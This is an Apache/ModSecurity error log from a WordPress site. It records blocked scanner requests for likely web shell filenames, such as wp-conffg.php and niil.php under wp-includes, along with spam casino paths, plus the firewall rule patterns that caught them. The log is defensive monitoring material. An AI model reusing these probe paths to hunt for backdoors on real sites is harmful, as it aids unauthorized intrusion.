[Sat Apr 11 23:39:42.083583 2026] [:error] [pid 52608:tid 52627] [client 20.220.11.224:22524] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/olux.php"] [unique_id "adprPiY5wH-BLt5QEKiFZAAAARA"]
[Sat Apr 11 23:39:45.423339 2026] [:error] [pid 52608:tid 52621] [client 20.220.11.224:22402] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/olux.php"] [unique_id "adprQSY5wH-BLt5QEKiFdwAAAQo"]
[Sat Apr 11 23:40:49.975908 2026] [:error] [pid 42219:tid 42224] [client 20.220.11.224:22477] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nasgor.php"] [unique_id "adprgQ-4IkVbTQx_J-2u0gAAAIE"]
[Sat Apr 11 23:41:08.131938 2026] [:error] [pid 42221:tid 42289] [client 20.220.11.224:22426] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rahma.php"] [unique_id "adprlE2gt0pb_0-cc6muBgAAAEs"]
[Sat Apr 11 23:41:11.371182 2026] [:error] [pid 42313:tid 42334] [client 20.220.11.224:22469] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rahma.php"] [unique_id "adprl12P8TxdbaN018JtVgAAABI"]
[Sat Apr 11 23:41:14.428214 2026] [:error] [pid 42220:tid 42267] [client 20.220.11.224:22474] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rahma.php"] [unique_id "adprmkz5c3Cs6a8B5QujnAAAANA"]
[Sat Apr 11 23:41:19.140795 2026] [:error] [pid 52608:tid 52634] [client 20.220.11.224:22501] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rahma.php"] [unique_id "adprnyY5wH-BLt5QEKiHAAAAARc"]
[Sat Apr 11 23:41:22.279804 2026] [:error] [pid 52608:tid 52627] [client 20.220.11.224:22409] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mrjn.php"] [unique_id "adproiY5wH-BLt5QEKiHEAAAARA"]
[Sat Apr 11 23:41:32.894732 2026] [:error] [pid 42219:tid 42244] [client 20.220.11.224:22479] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mrjn.php"] [unique_id "adprrA-4IkVbTQx_J-2vEgAAAJU"]
[Sat Apr 11 23:41:37.968315 2026] [:error] [pid 52608:tid 52613] [client 20.220.11.224:22502] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-configer.php"] [unique_id "adprsSY5wH-BLt5QEKiHOQAAAQI"]
[Sat Apr 11 23:41:40.740023 2026] [:error] [pid 42220:tid 42254] [client 20.220.11.224:22467] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-configer.php"] [unique_id "adprtEz5c3Cs6a8B5QujrQAAAMM"]
[Sat Apr 11 23:41:48.420786 2026] [:error] [pid 42313:tid 42333] [client 20.220.11.224:22467] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-configer.php"] [unique_id "adprvF2P8TxdbaN018Jt4AAAABE"]
[Sat Apr 11 23:41:53.662492 2026] [:error] [pid 42220:tid 42275] [client 20.220.11.224:22382] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-conffg.php"] [unique_id "adprwUz5c3Cs6a8B5QujuQAAANg"]
[Sat Apr 11 23:41:56.670183 2026] [:error] [pid 52608:tid 52634] [client 20.220.11.224:22496] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-conffg.php"] [unique_id "adprxCY5wH-BLt5QEKiHbQAAARc"]
[Sat Apr 11 23:42:00.589192 2026] [:error] [pid 42221:tid 42281] [client 20.220.11.224:22432] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-conffg.php"] [unique_id "adpryE2gt0pb_0-cc6muJQAAAEM"]
[Sat Apr 11 23:42:07.110305 2026] [:error] [pid 52608:tid 52619] [client 20.220.11.224:22498] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-conffg.php"] [unique_id "adprzyY5wH-BLt5QEKiHoAAAAQg"]
[Sat Apr 11 23:42:12.346422 2026] [:error] [pid 42313:tid 42338] [client 20.220.11.224:22504] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-confiig.php"] [unique_id "adpr1F2P8TxdbaN018JuCAAAABY"]
[Sat Apr 11 23:42:16.649148 2026] [:error] [pid 42313:tid 42327] [client 20.220.11.224:22460] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-confiig.php"] [unique_id "adpr2F2P8TxdbaN018JuFQAAAAs"]
[Sat Apr 11 23:42:21.893298 2026] [:error] [pid 42313:tid 42317] [client 20.220.11.224:22485] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-confiig.php"] [unique_id "adpr3V2P8TxdbaN018JuKAAAAAE"]
[Sat Apr 11 23:42:26.133225 2026] [:error] [pid 52608:tid 52628] [client 20.220.11.224:22414] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-settings.php"] [unique_id "adpr4iY5wH-BLt5QEKiHxgAAARE"]
[Sat Apr 11 23:42:32.315448 2026] [proxy_fcgi:error] [pid 42219:tid 42235] [client 20.220.11.224:22405] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Undefined constant "ABSPATH" in /home/vetstars/public_html/wp-settings.php:34\nStack trace:\n#0 {main}\n  thrown in /home/vetstars/public_html/wp-settings.php on line 34'
[Sat Apr 11 23:42:58.920972 2026] [:error] [pid 52608:tid 52626] [client 20.220.11.224:22423] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-one.php"] [unique_id "adpsAiY5wH-BLt5QEKiIOgAAAQ8"]
[Sat Apr 11 23:43:23.227338 2026] [:error] [pid 52608:tid 52629] [client 20.220.11.224:22359] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-ad.php"] [unique_id "adpsGyY5wH-BLt5QEKiIjAAAARI"]
[Sat Apr 11 23:43:23.741677 2026] [:error] [pid 42221:tid 42282] [client 20.220.11.224:22418] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-ad.php"] [unique_id "adpsG02gt0pb_0-cc6mugAAAAEQ"]
[Sat Apr 11 23:43:25.146068 2026] [:error] [pid 42220:tid 42255] [client 20.220.11.224:22500] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-ad.php"] [unique_id "adpsHUz5c3Cs6a8B5QukIAAAAMQ"]
[Sat Apr 11 23:43:26.852394 2026] [:error] [pid 52608:tid 52620] [client 20.220.11.224:22404] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-ad.php"] [unique_id "adpsHiY5wH-BLt5QEKiIngAAAQk"]
[Sat Apr 11 23:43:30.591088 2026] [:error] [pid 42220:tid 42272] [client 20.220.11.224:22512] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-info.php"] [unique_id "adpsIkz5c3Cs6a8B5QukKAAAANU"]
[Sat Apr 11 23:43:38.003649 2026] [:error] [pid 42220:tid 42251] [client 20.220.11.224:22428] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-info.php"] [unique_id "adpsKkz5c3Cs6a8B5QukMgAAAMA"]
[Sat Apr 11 23:44:01.204107 2026] [:error] [pid 52608:tid 52632] [client 20.220.11.224:22456] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-uploads.php"] [unique_id "adpsQSY5wH-BLt5QEKiI3wAAARU"]
[Sat Apr 11 23:44:05.644004 2026] [:error] [pid 42221:tid 42282] [client 20.220.11.224:22410] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-uploads.php"] [unique_id "adpsRU2gt0pb_0-cc6muugAAAEQ"]
[Sat Apr 11 23:44:08.727552 2026] [:error] [pid 52608:tid 52621] [client 20.220.11.224:22484] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-uploads.php"] [unique_id "adpsSCY5wH-BLt5QEKiI4wAAAQo"]
[Sat Apr 11 23:44:11.403425 2026] [:error] [pid 52608:tid 52627] [client 20.220.11.224:22433] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-uploads.php"] [unique_id "adpsSyY5wH-BLt5QEKiI9QAAARA"]
[Sat Apr 11 23:44:16.289290 2026] [:error] [pid 42219:tid 42226] [client 20.220.11.224:22503] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bb.php"] [unique_id "adpsUA-4IkVbTQx_J-2wCgAAAIM"]
[Sat Apr 11 23:44:21.158924 2026] [:error] [pid 42219:tid 42228] [client 20.220.11.224:22473] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bb.php"] [unique_id "adpsVQ-4IkVbTQx_J-2wEwAAAIU"]
[Sat Apr 11 23:44:25.359623 2026] [:error] [pid 42221:tid 42278] [client 20.220.11.224:22521] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bb.php"] [unique_id "adpsWU2gt0pb_0-cc6mu2wAAAEA"]
[Sat Apr 11 23:44:31.108609 2026] [:error] [pid 52608:tid 52633] [client 20.220.11.224:22483] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lf.php"] [unique_id "adpsXyY5wH-BLt5QEKiJLgAAARY"]
[Sat Apr 11 23:44:37.265271 2026] [:error] [pid 52608:tid 52629] [client 20.220.11.224:22468] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lf.php"] [unique_id "adpsZSY5wH-BLt5QEKiJVgAAARI"]
[Sat Apr 11 23:44:44.931278 2026] [:error] [pid 42313:tid 42318] [client 20.220.11.224:22516] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lf.php"] [unique_id "adpsbF2P8TxdbaN018JvPQAAAAI"]
[Sat Apr 11 23:46:04.798398 2026] [:error] [pid 42313:tid 42335] [client 20.220.11.224:22440] [client 20.220.11.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/css/dist/niil.php"] [unique_id "adpsvF2P8TxdbaN018JwBAAAABM"]
[Sat Apr 11 23:46:13.497327 2026] [:error] [pid 52608:tid 52628] [client 20.220.11.224:22475] [client 20.220.11.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/sodium_compat/src/Core/Curve25519-items.php"] [unique_id "adpsxSY5wH-BLt5QEKiKkAAAARE"]
[Sat Apr 11 23:48:19.092727 2026] [:error] [pid 52608:tid 52612] [client 20.220.11.224:22523] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/content.php"] [unique_id "adptQyY5wH-BLt5QEKiM_AAAAQE"]
[Sat Apr 11 23:48:24.656874 2026] [:error] [pid 42220:tid 42272] [client 20.220.11.224:22503] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/content.php"] [unique_id "adptSEz5c3Cs6a8B5QulKQAAANU"]
[Sat Apr 11 23:49:21.450337 2026] [proxy_fcgi:error] [pid 52608:tid 52633] [client 20.220.11.224:22471] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 23:57:24.697081 2026] [:error] [pid 52608:tid 52622] [client 20.220.11.224:22521] [client 20.220.11.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/SimplePie/pomo.php"] [unique_id "adpvZCY5wH-BLt5QEKiTpgAAAQs"]
[Sun Apr 12 01:56:38.942091 2026] [:error] [pid 44700:tid 44764] [client 209.38.77.153:54203] [client 209.38.77.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/admin-ajax.php"] [unique_id "adqLVmryPgh_uW4QPClr-AAAANQ"]
[Sun Apr 12 02:12:45.763882 2026] [:error] [pid 44701:tid 44785] [client 43.135.144.81:57206] [client 43.135.144.81] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "adqPHRGZAP4MrlxEPFdKFgAAAEs"]
[Sun Apr 12 02:16:50.808745 2026] [:error] [pid 36938:tid 36953] [client 79.137.67.84:49270] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "adqQEoSWpa_VL1JPU6zwhgAAAY0"]
[Sun Apr 12 02:16:53.152246 2026] [:error] [pid 44698:tid 44711] [client 79.137.67.84:38084] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "adqQFRgoH9UWd-U3D555mwAAAIg"]
[Sun Apr 12 02:16:55.675149 2026] [:error] [pid 45064:tid 45105] [client 79.137.67.84:38098] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "adqQF5cHBvLyJ6EUhUoN9wAAAUw"]
[Sun Apr 12 02:16:58.069274 2026] [:error] [pid 36938:tid 36942] [client 79.137.67.84:38102] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "adqQGoSWpa_VL1JPU6zwoQAAAYI"]
[Sun Apr 12 02:17:00.450954 2026] [:error] [pid 36938:tid 36949] [client 79.137.67.84:58674] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "adqQHISWpa_VL1JPU6zwrgAAAYk"]
[Sun Apr 12 02:17:02.695755 2026] [:error] [pid 36938:tid 36957] [client 79.137.67.84:58690] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "adqQHoSWpa_VL1JPU6zwtwAAAZE"]
[Sun Apr 12 02:17:05.277911 2026] [:error] [pid 36938:tid 36942] [client 79.137.67.84:58708] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "adqQIYSWpa_VL1JPU6zwygAAAYI"]
[Sun Apr 12 02:17:07.679876 2026] [:error] [pid 44698:tid 44714] [client 79.137.67.84:58720] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "adqQIxgoH9UWd-U3D555uwAAAIs"]
[Sun Apr 12 02:17:10.206565 2026] [:error] [pid 34152:tid 34161] [client 79.137.67.84:52492] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "adqQJoFtE4RhFslT1DrLXQAAAAc"]
[Sun Apr 12 02:17:12.586926 2026] [:error] [pid 44698:tid 44720] [client 79.137.67.84:52498] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "adqQKBgoH9UWd-U3D5551wAAAJE"]
